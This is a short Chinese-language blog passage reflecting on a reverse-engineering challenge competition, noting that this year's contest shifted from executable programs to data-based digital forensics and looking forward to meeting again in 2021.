逆向的内容渗透到计算机软硬件的各个领域,通过不断的参与,才能不断发现自身需要提高的技能和关注的领域,今年的逆向挑战赛展示了一个不一样的视角,从以前的可执行程序发展成为了基于数据的数字取证技术,在纷杂无规律的数据中找到最终的答案,内容切合实战,参与后可以让自己的眼界和能力两方面都更上一层楼。

期待2021再见。

Spread the word. Share this post!

Meet The Author

Leave Comment